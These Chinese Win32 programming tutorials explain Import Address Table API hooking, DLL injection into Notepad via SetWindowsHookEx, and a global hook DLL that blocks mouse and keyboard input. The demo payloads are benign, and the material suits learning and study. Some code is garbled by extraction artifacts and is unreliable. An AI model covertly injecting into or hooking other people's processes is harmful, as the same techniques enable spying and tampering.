通 过对 Win32 PE 文件的分析(如果你还不熟悉 PE 文件格式,可以看看 Iczelion 的 PE 教程或者
LUEVELSMEYER 的<>)。 我们知道在 PE 文件中的 IMPORT TABLE 内存储着 API 函数的很多信息。其
中包括 API 的函数名,调用地址等等。而操作系统在执行 PE 文件时会先 将其映射到内存中。在映射的同
时还会把当前版本操作系统中 API 函数的入口地址写入 IMPORT TABLE 中一组与 API 调用相关的结构体
内,用于该应 用程序的 API 调用。 当应用程序调用 API 时,他会在自己内存映像里寻找 API 的入口地址,
然后执行 CALL 指令。如此一来,我们通过修改应用程序内存 映像的 IMPORT TABLE 中 API 函数的入口
地址,就可以达到重定向 API 的目的。将 API 地址改为我们自己函数的地址,这样我们的函数就可以完成
对 API 的监视和控制了。


API Hook 的实现
/* 1 */HANDLE hCurrent = GetModuleHandle(NULL);
/* 2 */IMAGE_DOS_HEADER *pidh;
/* 3 */IMAGE_NT_HEADERS *pinh;
/* 4 */IMAGE_DATA_DIRECTORY *pSymbolTable;
/* 5 */IMAGE_IMPORT_DESCRIPTOR *piid;
  
/* 6 */pidh = (IMAGE_DOS_HEADER *)hCurrent; 
/* 7 */pinh = (IMAGE_NT_HEADERS *)((DWORD)hCurrent + pidh->e_lfanew);
/* 8 */pSymbolTable = &pinh->OptionalHeader.DataDirectory[1];
/* 9 */piid =(IMAGE_IMPORT_DESCRIPTOR *)((DWORD)hCurrent +  pSymbolTable->VirtualAddres
s);
/*10 */do {
/*11 */    IMAGE_THUNK_DATA *pitd,*pitd2;
/*12 */    pitd = (IMAGE_THUNK_DATA *)((DWORD)hCurrent + piid->OriginalFirstThunk);
/*13 */    pitd2 = (IMAGE_THUNK_DATA *)((DWORD)hCurrent + piid->FirstThunk);
/*14 */    do {
/*15 */ IMAGE_IMPORT_BY_NAME *piibn;
/*16 */ piibn = (IMAGE_IMPORT_BY_NAME *)((DWORD)hCurrent +  *((DWORD *)pitd));
/*17 */ PROC *ppfn = (PROC *)(pitd2->u1.Function);
/*18 */ if (!strcmp("MessageBoxW",(char *)piibn->Name)) {
/*19 */     oldMsg = (MsgBoxType)(ppfn);
/*20 */     DWORD addr = (DWORD)MyMessage;
/*21 */     DWORD written = 0;
      /* 改变内存读写状态 */
/*22 */     DWORD oldAccess;
/*23 */     VirtualProtect(&pitd2->u1.Function,sizeof(DWORD),PAGE_WRITECOPY,&oldAccess);
/*24 */     APIAddress = (DWORD)&pitd2->u1.Function;
      /* 向内存映像写入数据 */
/*25 */     WriteProcessMemory(GetCurrentProcess(),&pitd2->u1.Function, &addr,sizeof(DWORD), &w
ritten);
/*26 */ }
/*27 */ pitd++;pitd2++;
/*28 */    } while (pitd->u1.Function);
 
/*29 */    piid++;
/*30 */} while (piid->FirstThunk + piid->Characteristics 
  + piid->ForwarderChain + piid->Name + piid->TimeDateStamp);
分析:
寻觅 IMPORT TALBE
在/*1*/ 中我们使用 GetModuleHandle(NULL)来返回当前进程在内存中映像的基地址。但这个值在文档
中仅仅被描述为 "a module handle for the specified module",虽然他确实是进程内存映像的基地址。如果
你不太放心的话也可以 使用,GetModuleInformation 函数来获得基地址,只不过你要额外包含 psapi.h
和 psapi.lib 了(这个库在 VC6 里没有,所 以我就没有用这个函数了)。在/* 6 */里我们先找到
IMAGE_DOS_HEADER 结构,他的起始地址就是映像的基地址。/*7*/通过 IMAGE_DOS_HEADER 给
出的 PE 文件头的偏移量,找到 IMAGE_NT_HEADERS 结构。顺藤摸瓜,IMAGE_NT_HEADERS 里 的
OptionalHeader 中的 DataDirectory 数组里的第二个元素正是指向我们想要的 IMPORT TABLE 的地址。
在/*9*/中我们将其转化为一个 IMAGE_IMPORT_DESCRIPTOR 的结构指针存入 piid 中。


替换的 API 函数入口地址
在/*12*/ 和/*13*/中我们分别取得 OriginalFirstThunk 和 FirstThunk 结构,用于以后得到 API 函数的名
称和入口地址。/*10*/ 的 do 循环让我们遍历每一个 IMAGE_IMPORT_DESCRIPTOR 结构也就是应用程
序引用的每个 DLL。在/*14*/的循环中我们遍历 DLL 中的 IMAGE_THUNK_DATA 结构来一一查询 API
的信息。/*16*/中我们将 OriginalFirstThunk 转换为 IMAGE_IMPORT_BY_NAME 结构用于获得 API
函数的名称进行比对。在/*18*/我们找到 MessageBoxW 函数之后,在 /*19*/保存其原始入口地址便于以
后恢复时使用。在/*23*/我们需要用 VirtualProtect 改变一下内存区域的读写性,因为一般应用程序 的映
像都是只读的,直接写入会造成一个非法访问的异常出现。在/*25*/我们写入自己函数的地址。


这样就基本完成一个 API 函数的重定向。


其他
恢复函数的 API 入口地址相对比较简单。只要把保存的值再写回去就可以了。上面的程序中/*24*/我用
APIAddress 保存了存有 MessageBoxW 入口地址的地方的地址,便于以后调用 WriteProcessMemory 恢复
时使用。


跨进程理论
我 们要用自己的函数来替代别人程序里的 API 函数,但我们的函数与别人的程序处于不同的进程空间内
啊。不同的进程空间是不能相互调用函数的。因此我们要想办 法把自己的函数放入别人的进程空间去。这
时我们就需要使用 DLL injection 技术了。如果你对她还不是十分熟悉的话,建议看看 Jeffrey Richter 大
师的< <programming applications for microsoft windows>>,也可以参考陈宽达先生的<<c++ builder 深
度历险>>。


简 而言之,DLL injection 就是想办法让对方的进程加载我们的一个 DLL 程序,把需要替换的函数放在我
们这个 DLL 里。如此一来,我们的函数就进 入了别人的进程空间了。DLL injection 方法很多,Richter
大师在书中对各方法利弊有详细解释,陈宽大先生的书中也有深入的分析。我在这 里使用
SetWindowsHookEx 函数来达到目的。主要有这几个原因: 1, 不用重新启动系统,调试方便。2, 可以利用
消息循环机制进行两个进 程之间的通信,可以较好的掌握 Hook 的状态。便于安装与卸载。


SetWindowsHookEx 之所以能完成 DLL injection 是因为它要给一个应用程序某个环节加上一个 Hook,而
Hook 就要有 Hook Procedure 也就是 Hook 函数。如果 这个 Hook 函数在一个 DLL 中,那么系统就会把
这个 DLL 加载到 SetWindowsHookEx 的目标进程上。从而也就达到了我们 DLL injection 的目的了。当
然这里我们会用 WH_GETMESSAGE 的 Hook 进行 injection,因为这个 Hook 可以用来监视目标 进程的消
息循环方便我们的进程与目标进程通信。 


跨进程的实现和几点注意
/* DllPart.Dll */
#include 
#include 
#include 
#include 
typedef (WINAPI *MsgBoxType)(HWND,LPCWSTR,LPCWSTR,UINT); 
MsgBoxType oldMsg;  /*API 原入口地址*/
DWORD APIAddress; /*存储 API 入口地址的地方的地址*/
int WINAPI  MyMessage(HWND hWnd ,LPCWSTR M1,LPCWSTR M2, UINT M3) {
 /* 这是用来替换的函数 */ 
 return oldMsg(hWnd,buf,M2,MB_OK);
}
const char szApp[] = "DllPart.dll";
HHOOK hHook; /*Hook 的句柄*/
HMODULE hInst; /*DLL 模块句柄,用于 SetWindowsHookEx 函数*/
HWND hTarget; /*目标窗口句柄*/
/*DLL 入口*/
BOOL WINAPI DllMain(HINSTANCE inst, DWORD reason, LPVOID lpvReserved)
{
    hInst = inst;
    switch (reason) {
 case DLL_PROCESS_ATTACH:
     /*调试信息,表示 DLL 已经加载*/
     MessageBox(NULL,"DLL_PROCESS_ATTACH",szApp,MB_OK);
     break;
 case DLL_PROCESS_DETACH:
     /*调试信息,表示 DLL 已经卸载*/
     MessageBox(NULL,"DLL_PROCESS_DETACH",szApp,MB_OK);
     break;
    }
    return true;
}
/*显示 GetLastError 的信息*/
void showerr(const char *m) {
    char message[255];
    FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM,0,GetLastError()
 ,MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),message,255, 0);
    MessageBox(NULL,message,m,MB_OK);
}
//-----------------------
void UnHookApi() {
 /*卸载 API Hook 用*/
}
void HookApi() {
 /*加载 API Hook 同上面介绍的函数一样*/
}
//-----------------------
/*用于 WH_GETMESSAGE 的 Hook Procedure*/
LRESULT CALLBACK GetMsgProc(int nCode,WPARAM wParam, LPARAM lParam) {
 if (nCode == HC_ACTION) {
     MSG *msg = (MSG *)lParam;
&n</c++ builder 深度历
险></programming applications for microsoft windows>   if (msg->message == WM_CHAR) {
      if (msg->wParam == 'h') HookApi(); 
      if (msg->wParam == 'u') UnHookApi();
     }
 }
    return CallNextHookEx(hHook,nCode,wParam,lParam);
}
extern "C" __declspec(dllexport) SetAPIHook(HWND handle) {
    DWORD ThreadId = GetWindowThreadProcessId(handle, NULL);
    hTarget = handle;
    MessageBox(NULL, "Enabling CallWndProc Hook", szApp, MB_OK);
    hHook = SetWindowsHookEx(WH_GETMESSAGE,GetMsgProc,hInst,ThreadId); 
    if (hHook) {
 MessageBox(NULL,"Hook OK!", szApp, MB_OK);
    } else {
 showerr("SetWindowsHookEx");
    }
}
extern "C" __declspec(dllexport) UnHookAPIHook() {
    MessageBox(NULL, "Disenabling CallWndProc Hook", szApp, MB_OK);
    if (UnhookWindowsHookEx(hHook)) {
        MessageBox(NULL,"UnHook OK!", szApp, MB_OK); 
    } else {
 showerr("UnHookWindowsHookEx");
    }
}
分析
几个需要注意的问题
SetAPIHook 和 UnHookAPIHook 是我们自己进程调用的用来加载 WH_GETMESSAGE Hook 的函数。
由于我们的程序要用 LoadLibrary 加载 这个 Dll 因此这两个函数要用__declspec(dllexport)修饰,使其成
为导出函数,才能被 GetAddressProc 函数找到。加上  extern "C"是让编译器使用 C 语言编码方式。因为
C++编译器会进行 Dynamic Binding(C++函数重载的实现),将函数的参数类 型附加到名称上。是函数的导
出名看起来像 SetAPIHook@XYTZX 之类的,不利于 GetAddressProc 进行引用。因此使用 extern "C"让编
译器不使用 Dynamic Binding,自然使用 extern"C"的函数也就不能被重载了。


不要忘记在 GetMsgProc 最后要调用 CallNextHookEx 函数,保证 Hook 链的完整性。


一 定要在 Hook Procedure 中调用 HookApi 和 UnHookApi 函数,因为保存 API 入口地址的地方在目标
进程中,你必须在目标进程的进程 空间内完成卸载操作,不能在 UnHookAPIHook 或是 SetAPIHook 函
数中调用,因为 UnHookAPIHook 是我们的进程调用的,因此在 我们的进程空间中。在这里使用
UnHookApi 会造成一个非法访问的错误。而使用 HookApi 会给自己的 DLL 加上 API Hook。


SetWindowsHookEx 的最后参数是 ThreadId 不是 Handle,因此要通过调用 GetWindowThreadProcessId
转换一下。 


在跨进程 API HOOK 时可能用到的其他技术 
主进程与目标进程的信息交互和共享
由 于使用了 WH_GETMESSAGE 钩子我们可以利用 Windows 消息机制实现进程间通讯。需要注意的是
应该使用 PostThreadMessage 来 发送让 WH_GETMESSAGE 得到的消息而不是 SendMessage 或者
PostMessage,因为后两个是用来给窗口发送消息的。而我们的 WH_GETMESSAGE 是 Hook 在线程上面
的,因此需使用 PostThreadMessage.


传递不太大的数据可以使用 WM_COPYDATA 消息来进行。同样也应该注意,如果使用 MFC 的窗口过程
获得消息就需要用 SendMessage 发送了。WM_COPYDATA 的 使用相对简单可以参考 MSDN 的文档。也
可以参考附录里的程序 Hook.cpp 的 showerr 函数部分。


如果传递较大的数据或者希望数据共享比较方便可以开辟共享内存来进行数据共享。这里简单分析一下使
用共享内存的代码 


HANDLE hMap;
switch (reason) {
    case DLL_PROCESS_ATTACH:
    /*创建/打开共享内存区域*/
    hMap = CreateFileMapping((HFILE *)0xFFFFFFFF,NULL,PAGE_READWRITE,0,sizeof(GLOBALDA
TA),ID_MAP);
    pg_data = (GLOBALDATA*)MapViewOfFile(hMap,FILE_MAP_ALL_ACCESS,0 ,0 ,0);
    if (!pg_data) {
 MessageBox(NULL,"无法建立共享内存,程序终止!",szApp,MB_OK);
 if (hMap) {
     CloseHandle(hMap);
     hMap = NULL;
     return 0;
       }
    }
    pg_data->hInst = hInst;
    showerr("共享内存映像文件");
    showerr("DLL 装载中...",FALSE);
    break;
    case DLL_PROCESS_DETACH:
    if (pg_data) {
        UnmapViewOfFile(pg_data);
 pg_data = NULL;
    }
    if (hMap) {
 CloseHandle(hMap);
 hMap = NULL;
     }
    break;
}
 
上 面的代码通过 CreateFileMapping 建立共享区域。将其第一个参数设置为 0xFFFFFFFF 使其能创建一
个内存共享区域而不是文件。并标记 为可读写的(PAGE_READWRITE).其大小为我们定义的结构体
GLOBALDATA 的大小。最后的 ID_MAP 是一个用来标示这个区域的字符 串。打开或者创建完共享区域
后,我们用 MapViewOfFile 来获得这个区域的地址。之后就可以直接使用 pg_data 来操作共享区域了。不
要忘记在 DLL 退出的时候安全的删除共享区域释放内存。 
消息等待与安全卸载
在我们卸载 WH_GETMESSAGE 钩子之前必须先把目标程序的 API 调用恢复正常。我们不能再调用
UnHookApi 之后就立刻调用 UnhookWindowsHookEx,因为很有可能 UnHookApi 还没来得 急完成 API
入口地址的恢复操作,WH_GETMESSAGE 钩子就已经被卸载了。因此需要等待一段时间,等 UnHookApi
完成了恢复操作在调用 UnhookWindowsHookEx。以防错误发生。


extern "C" __declspec(dllexport) void UnHookAPIHook() {
    /*向目标线程发送消息进行 API UNHOOK*/
    PostThreadMessage(pg_data->idTarget,WM_DISABLEAPIHOOK,(WPARAM)GetCurrentThreadId(),
0);
    showerr("WM_DISABLEAPIHOOK");
    /*等待目标进程返回 WM_UNHOOKOK 消息,确认可以将 WH_GETMESSAGE 的 HOOK 去掉*/
    
    MSG Msg;
    do {
        GetMessage(&Msg,NULL,0,0);
    }while(Msg.message !=  WM_UNHOOKOK);
    UnhookWindowsHookEx(pg_data->hHook);
    PostThreadMessage(pg_data->idTarget,WM_DISABLEAPIHOOKOK,(WPARAM)GetCurrentThreadI
d(),0);
    showerr("UnHookWindowsHookEx");
}
上面的代码中我们使用一个含有 GetMessage 的循环来等待消息的到达,一旦 UnHookApi 完成他就会发送
WM_UNHOOKOK 消息。等我们接收到消息确认一切安全了在来卸载 WH_GETMESSAGE 钩子。 
弄清消息对象
我 们一定要清楚代码是在主程序进程空间中执行的还是在目标程序进程空间中执行的。像上面的
UnHookAPIHook 函数就是通过主程序调用的,因此在主程 序进程空间中执行。这样一来用来恢复目标程
序 API 信息的 UnHookApi 完成后就应该向主程序发送消息,而不是目标程序。


目标进程加载了其他 DLL
如果目标进程动态加载了其他的 DLL 文件,我们必须监视 LoadLibrary 函数。保证 DLL 中的 API 入口地
址也被正确修改。防止出现混乱的情况。我从 LoadLibrary 获得 DLL 的路径用于 GetModuleHandle 来取
得他的 ImageBase 的地址。


不知道文章写的如何,希望大家能多给些批评意见。发现问题我马上改正
Email: [email protected]


参考资料
< <programming applications for microsoft windows>>, Jeffrey Richter, Microsoft Press 


<<c++ builder 深度历险>>,陈宽达,华中科大出版社


<>, LUEVELSMEYER


<<iczelion's pe tutorial>>, Iczelion


附:跨进程 APIHook 的例子
先打开一个记事本程序并输入几个字符,运行下面的程序,加载 APIHook.之后在记事本的文件菜单中选择
新建就会看到 API Hook 将 MessageBoxW 函数 Hook 的结果了.
代码在 WinXP SP1 + VC6.0 测试成功。


下载源代码


(特别感谢老罗的代码着色器,比我自己那个好多了)


这是 DLL 的程序,Hook.dll
#include 
#include 
#include 
#include 
#include "mydef.h"


const char szApp[] = "Hook.dll"; /*应用程序名称*/
HANDLE hMap;/*在共享内存映像的句柄*/
GLOBALDATA *pg_data; /*在共享内存中的全局数据*/
LRESULT CALLBACK GetMsgProc(int,WPARAM, LPARAM);


/*显示 GetLastError 指出的错误*/
void showerr(const char *m, BOOL GetError = TRUE) {
    char message[127];
    char buf[255];
    COPYDATASTRUCT cds;
    if (GetError) 
        FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM,0
  ,GetLastError(),MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),message,127, 0);
    else 
        *message = 0;
    if (Get</iczelion's pe tutorial></c++ builder 深度历
险></programming applications for microsoft windows> CurrentThreadId() != pg_data->idMain)
        sprintf(buf,"目标程序空间 DLL: %-30s [%-40s]",m, message);
    else
        sprintf(buf,"主程序空间 DLL  : %-30s [%-40s]",m, message);
    cds.lpData = buf; 
    cds.cbData = sizeof(buf);
    cds.dwData = 0;
 
    SendMessage(pg_data->hWndMain,WM_COPYDATA,(WPARAM)pg_data->hWndTarget,(LPARAM
)&cds);
  
    SetLastError(0);
}
int WINAPI MyMessageBoxW(HWND hWnd ,LPCWSTR M1,LPCWSTR M2, UINT M3) {
    wchar_t buf[255];
    swprintf(buf,L"!!这个窗口的 API 被 Hook 了!! HWND: 0x%08X Message: %s Caption: %s"
        ,(DWORD *)hWnd
        , M1
        , M2);
    pg_data->oldAPIFunction(hWnd,buf,M2,MB_OK);
    return pg_data->oldAPIFunction(hWnd,M1,M2,M3);
}


/*DLL 入口函数*/
BOOL WINAPI DllMain(HINSTANCE hInst, DWORD reason,LPVOID lpvReserved)
{
    switch (reason) {
    case DLL_PROCESS_ATTACH:
        /*创建/打开共享内存区域*/
        hMap = CreateFileMapping((HFILE *)0xFFFFFFFF,NULL,PAGE_READWRITE,0,sizeof(GLOBAL
DATA),ID_MAP);
        pg_data = (GLOBALDATA*)MapViewOfFile(hMap,FILE_MAP_ALL_ACCESS,0 ,0 ,0);
        if (!pg_data) {
           MessageBox(NULL,"无法建立共享内存,程序终止!",szApp,MB_OK);
           if (hMap) {
               CloseHandle(hMap);
               hMap = NULL;
               return 0;
            }
        }
        pg_data->hInst = hInst;
        showerr("共享内存映像文件");
        showerr("DLL 装载中...",FALSE);
        break;
    case DLL_PROCESS_DETACH:
        showerr("DLL 卸载中...",FALSE);
        if (pg_data) {
            UnmapViewOfFile(pg_data);
            pg_data = NULL; 
        }
        if (hMap) {
            CloseHandle(hMap);
            hMap = NULL;
        }
        break;
    }
 return true;
}
/*卸载 API Hook*/
void UnHookApi() {
    DWORD written = 0;
    DWORD oldaddrAPIFunction = (DWORD)pg_data->oldAPIFunction;
    WriteProcessMemory(GetCurrentProcess(),(DWORD *)pg_data->addrAPIEntryPoint
        , &oldaddrAPIFunction,sizeof(DWORD), &written);
    showerr("WriteProcessMemory on UnHook");
    /*向主线程发送 API UNHOOK 处理完毕的消息*/
    PostThreadMessage(pg_data->idMain,WM_UNHOOKOK,0,0);
}


/*加载 API Hook*/
void HookApi(const char* szApiName, tAPIFunction newAddr, DWORD ImageBase) {
    /*这段代码请参考文章中的分析*/
    IMAGE_DOS_HEADER *pidh;
    IMAGE_NT_HEADERS *pinh;
    IMAGE_DATA_DIRECTORY *pSymbolTable;
    IMAGE_IMPORT_DESCRIPTOR *piid;
  
    pidh = (IMAGE_DOS_HEADER *)ImageBase;    
    pinh = (IMAGE_NT_HEADERS *)((DWORD)ImageBase + pidh->e_lfanew);
    pSymbolTable = &pinh->OptionalHeader.DataDirectory[1];
    piid =(IMAGE_IMPORT_DESCRIPTOR *)((DWORD)ImageBase +  pSymbolTable->VirtualAddress);


    do {
        IMAGE_THUNK_DATA *pitd_org,*pitd_1st;
        pitd_org = (IMAGE_THUNK_DATA *)((DWORD)ImageBase + piid->OriginalFirstThunk);
        pitd_1st = (IMAGE_THUNK_DATA *)((DWORD)ImageBase + piid->FirstThunk);
        do {
            IMAGE_IMPORT_BY_NAME *piibn;
            piibn = (IMAGE_IMPORT_BY_NAME *)((DWORD)ImageBase +  *((DWORD *)pitd_org));
            PROC *pAPIFunction = (PROC *)(pitd_1st->u1.Function);
            if (!strcmp(szApiName,(char *)piibn->Name)) {
                DWORD addrNewAPIFunction = (DWORD)MyMessageBoxW;
                DWORD written = 0; 
                DWORD oldAccess;


                pg_data->oldAPIFunction = (tAPIFunction)(pAPIFunction);
                /*Change Memeory State*/
                VirtualProtect(&pitd_1st->u1.Function,sizeof(DWORD),PAGE_WRITECOPY,&oldAccess);
                showerr("VirtualProtect");
                pg_data->addrAPIEntryPoint = (DWORD)&pitd_1st->u1.Function;
                /*Write Process Memory*/
                WriteProcessMemory(GetCurrentProcess(),&pitd_1st->u1.Function
                    , &addrNewAPIFunction,sizeof(DWORD), &written);
                showerr("WriteProcessMemory on Hook");
            }
            pitd_org++;
            pitd_1st++;
        } while (pitd_1st->u1.Function);
       
        piid++;
    } while (piid->FirstThunk + piid->Characteristics 
 + piid->ForwarderChain + piid->Name + piid->TimeDateStamp);
}


//-----------------------
extern "C" __declspec(dllexport) BOOL SetAPIHook(HWND _target) {
    pg_data->hHook = SetWindowsHookEx(WH_GETMESSAGE,GetMsgProc,pg_data->hInst,pg_data>idTarget);


















showerr("SetWindowsHookEx");










/*向目标线程发送消息进行
API HOOK*/
    if (pg_data->hHook) {
        PostThreadMessage(pg_data->idTarget,WM_ENABLEAPIHOOK,0,0);
    } else {
        return FALSE;
    }
    showerr("WM_ENABLEAPIHOOK");
    return TRUE;
}


extern "C" __declspec(dllexport) void UnHookAPIHook() {
    /*向目标线程发送消息进行 API UNHOOK*/
    PostThreadMessage(pg_data->idTarget,WM_DISABLEAPIHOOK,(WPARAM)GetCurrentThreadId(),
0);
    showerr("WM_DISABLEAPIHOOK");
    /*等待目标进程返回 WM_UNHOOKOK 消息,确认可以将 WH_GETMESSAGE 的 HOOK 去掉*/
    MSG Msg;
    do { 
        GetMessage(&Msg,NULL,0,0);
    }while(Msg.message !=  WM_UNHOOKOK);


    UnhookWindowsHookEx(pg_data->hHook);
    PostThreadMessage(pg_data->idTarget,WM_DISABLEAPIHOOKOK,(WPARAM)GetCurrentThreadI
d(),0);
    showerr("UnHookWindowsHookEx");
}


LRESULT CALLBACK GetMsgProc(int nCode,WPARAM wParam, LPARAM lParam) {
    if (nCode == HC_ACTION) {
        MSG *msg = (MSG *)lParam;
     
        if (msg->message == WM_ENABLEAPIHOOK) {
            HookApi("MessageBoxW",MyMessageBoxW,(DWORD)GetModuleHandle(NULL));
        }
        if (msg->message == WM_DISABLEAPIHOOK) {
            UnHookApi();
  ;      }
        if (msg->message == WM_DESTROY) {
            showerr("目标进程退出!",FALSE);
        }
    }
    return CallNextHookEx(pg_data->hHook,nCode,wParam,lParam);
}
 
这个是主程序的关键部分 HookGui.cpp
用 MFC 建立一个窗口程序,包含两个按钮和一个 ListBox


typedef void (*PUnHookAPIHook)();
typedef BOOL (*PSetAPIHook)(HWND);
HMODULE hDll = NULL;
HWND hNotePad = NULL;
PSetAPIHook SetAPIHook;
PUnHookAPIHook UnHookAPIHook;
GLOBALDATA *pg_data; /*在共享内存中的全局数据*/
HANDLE hMap; /*在共享内存映像的句柄*/
int CHookGUIDlg::showerr(const char* m) {
    char message[127];
    char buf[255];
    int errId = GetLastError();
    FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM,0
 ,errId,MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),message,127, 0);
    sprintf(buf,"主程序         : %-30s [%-40s] ",m, message); 
    c_List1.InsertString(c_List1.GetCount(),buf);
    UpdateData(FALSE);
    return errId;
}


void CHookGUIDlg::OnSetapihook() 
{
    // TODO: Add your control notification handler code here
    hDll = LoadLibrary("Hook.dll");
    showerr("LoadLibrary");
    hMap = OpenFileMapping(FILE_MAP_ALL_ACCESS,false,ID_MAP);
    showerr("OpenFileMapping");    
    pg_data = (GLOBALDATA *)MapViewOfFile(hMap,FILE_MAP_ALL_ACCESS,0,0,0);
    showerr("MapViewOfFile");    
    if (!pg_data) {
        MessageBox("不能打开共享内存程序终止!");
        return;
    }
    SetAPIHook = (PSetAPIHook)GetProcAddress(hDll,"SetAPIHook");
    showerr("GetProcAddress-SetAPIHOOK");
   
    pg_data->hWndTarget = ::FindWindow("NotePad",NULL);
    pg_data->hWndMain = m_hWnd;
    pg_data->idMain = GetWindowThreadProcessId(m_hWnd,NULL);
    pg_data->idTarget = GetWindowThreadProcessId(pg_data->hWndTarget,NULL);
    if (!showerr("FindWindow")) {
        if (SetAPIHook) { 
            if (SetAPIHook(hNotePad))
                PostThreadMessage(pg_data->idTarget
   , WM_SETCALLERID,(LPARAM)GetCurrentThreadId(),0);
            else {
                MessageBox("SetWindowHookEx 时出错,程序终止!");
                return;
            }
  &n } else {
            MessageBox("无法取得 SetAPIHook 函数!程序终止!");                    
        }
    } else {
            MessageBox("内存中没有找到 NOTEPAD.EXE");            
    }
    c_SetApiHook.EnableWindow(FALSE);
    c_UnsetApiHook.EnableWindow();
}
 
void CHookGUIDlg::OnUnsetapihook() 
{
    // TODO: Add your control notification handler code here
    if (hDll) {
        if ( !IsWindow(pg_data->hWndTarget)) {
            MessageBox("目标进程不在内存中");
            return;
        }
        UnHookAPIHook = (PUnHookAPIHook)GetProcAddress(hDll,"UnHookAPIHook");
        showerr("GetProcAddress-UnHookAPIHook");
        if (UnHookAPIHook) 
            UnHookAPIHook();
        FreeLibrary(hDll);
        showerr("FreeLibrary");
        hDll = NULL;
    } else {
        MessageBox("请先加载 DLL");
    }
    c_SetApiHook.EnableWindow();
    c_UnsetApiHook.EnableWindow(FALSE);
}


void CHookGUIDlg::OnOK() 
{
    // TODO: Add extra validation here
    if (hDll) {
        OnUnsetapihook();
    }
    CDialog::OnOK();
}


BOOL CHookGUIDlg::OnCopyData(CWnd* pWnd, COPYDATASTRUCT* pCopyDataStruct) 
{
    // TODO: Add your message handler code here and/or call default
    c_List1.InsertString(c_List1.GetCount(),(char *)pCopyDataStruct->lpData);
    return CDialog::OnCopyData(pWnd, pCopyDataStruct);
}  




 
vc 钩子知识的详细解释和实例 
作者:佚名出处:IT 专家网 2009-12-07 13:00 
本文介绍 vc 钩子知识的详细解释和实例。 
  Hook 钩子用法:
  在用 hook 钩子的时候,要注意的一些:
  首先我们得创建钩子,分为全局的钩子和局部的钩子。
  局部的钩子在程序中写钩子的过程函数就可以了。
  全局的钩子,则需要在 dll 中写出过程函数,然后在程序中进行连接使用。
  主要的函数:
  SetWindowHookEx();可以设置全局或者局部的钩子
  SetWindowsPos()设置窗口的位置
  GetSystemMetrics()可以获取窗口的大小等等系统的资源数据 
  #pragma data_seg(“my section”)
  ………………..//设置一个变量或者多个变量为一个节,一遍所有的进程共享,对于节
点中的每一个变量我们都应赋予初始值,否则所有线程不能共享这个变量。
  #pragma data_seg() 
  #pragma comment(linker,”/section:mysec,RWS”)//将这个节设置为共享,也就是说这
个节里面的所有的变量都是所有进程共享的。
  GetModuleHandle()//获取当前的模块的句柄。
  一下是一个关于全局钩子的 dll 连接库。 


#include  
  HHOOK g_mhook; 
  HHOOK g_khook; 
  #pragma data_seg("mysec") 
  HWND g_hwnd=NULL; //设置的节点,以供所有的线程共享这个变量 
  #pragma data_seg() 
  #pragma comment(linker,"/section:mysec,RWS") 
  LRESULT CALLBACK mouseProc( 
  int nCode, // hook code 
  WPARAM wParam, // message identifier 
  LPARAM lParam // mouse coordinates 
  ) 
  { 
return 1; //鼠标钩子,鼠标完全屏蔽 
  } 
  LRESULT CALLBACK keyProc( 
  int nCode, // hook code 
  WPARAM wParam, // message identifier 
  LPARAM lParam // mouse coordinates  
  ) 
  { 
  if (VK_SPACE==wParam) 
  { 
  ::SendMessage(g_hwnd,WM_CLOSE,0,0); 
  UnhookWindowsHookEx(g_mhook); //键盘钩子,屏蔽了除空格以外的所有按键,当按
下空格的时 
  UnhookWindowsHookEx(g_khook); //侯,不管在处于激活状态的是哪一个窗口都可以
退出 
  } 
  else 
  return 1; 
  } 
  void SetHook(HWND hwnd) 
  { 
  g_hwnd=hwnd; 
 
g_mhook=SetWindowsHookEx(WH_MOUSE,mouseProc,GetModuleHandle("inner.dll"),0
);//导出函数,这个在.def 文件中应该进 
 
g_khook=SetWindowsHookEx(WH_KEYBOARD,keyProc,GetModuleHandle("inner.dll"),0
);//行标识 
  }




 
在 VC++ 6.0 下应用 Win32 系统钩子技术 
信息产业部电子第二十二研究所 郎锐 
 
一、引言 
钩子的本质是一段用以处理系统消息的程序,通过系统调用,把它挂入系统。钩子的种类很
多,每种钩子可以截获并处理相应的消息,每当特定的消息发出,在到达目的窗口之前,钩
子程序先行截获该消息、得到对此消息的控制权。此时钩子函数可以对截获的消息进行加工
处理,甚至可以强制结束消息的传递。这有点类似与 MFC中的 PreTranslateMessage 函数,
所不同的是该函数只能用于拦截本进程中的消息,而对系统消息则无能为力。 
二、Win32 系统钩子的实现 
每种类型的钩子均由系统来维护一个钩子链,最近安装的钩子位于链的开始,拥有最高的优
先级,而最先安装的钩子则处在链的末尾。要实现 Win32 的系统钩子,首先要调用 SDK 中
的 API 函数 SetWindowsHookEx 来安装这个钩子函数,其原型是: 
HHOOK SetWindowsHookEx(int idHook,  
HOOKPROC lpfn, 
HINSTANCE hMod, 
DWORD dwThreadId);  
其中,第一个参数是钩子的类型,常用的有 WH_MOUSE 、 WH_KEYBOARD 、
WH_GETMESSAGE 等;第二个参数是钩子函数的地址,当钩子钩到任何消息后便调用这
个函数;第三个参数是钩子函数所在模块的句柄;第四个参数是钩子相关函数的 ID 用以指
定想让钩子去钩哪个线程,为 0 时则拦截整个系统的消息此时为全局钩子。如果指定确定
的线程,即为线程专用钩子。 
全局钩子函数必须包含在 DLL(动态链接库)中,而线程专用钩子则可包含在可执行文件
中。得到控制权的钩子函数在处理完消息后,可以调用另外一个 SDK 中的 API 函数
CallNextHookEx 来继续传递该消息。也可以通过直接返回 TRUE 来丢弃该消息,阻止该消
息的传递。 
使用全局钩子函数时需要以 DLL 为载体,VC6 中有三种形式的 MFC DLL 可供选择,即
Regular statically linked to MFC DLL(标准静态链接 MFC DLL)、 Regular using the shared
MFC DLL(标准动态链接 MFC DLL)以及 Extension MFC DLL(扩展 MFC DLL)。第一种
DLL 在编译时把使用的 MFC 代码链接到 DLL 中,执行程序时不需要其他 MFC 动态链接类
库的支持,但体积较大;第二种 DLL 在运行时动态链接到 MFC 类库,因而体积较小,但却
依赖于 MFC 动态链接类库的支持;这两种 DLL 均可被 MFC 程序和 Win32 程序使用。第三
种 DLL 的也是动态连接,但做为 MFC 类库的扩展,只能被 MFC 程序使用。 
三、Win32 DLL 
Win32 DLL 的入口和出口函数都是 DLLMain 这同 Win16 DLL 是有区别的。只要有进程或
线程载入和卸载 DLL 时,都会调用该函数,其原型是:  
